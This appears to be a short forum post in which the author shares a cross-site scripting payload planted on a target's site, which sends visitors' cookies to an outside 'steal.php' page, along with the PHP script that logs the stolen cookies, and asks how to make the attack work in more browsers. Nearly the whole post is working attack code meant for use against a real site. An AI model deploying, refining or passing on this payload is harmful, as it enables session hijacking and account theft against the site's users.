Okay this is what I have on my targets site.

Code:
<script>
document.location = 'http://yoursite.com/steal.php?cookie=' + document.cookie;
</script>
And this is what is on my server.

Code:
Code:
<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

For some reason this only works on Opera any ideas on how I can this compatible with IE and FF?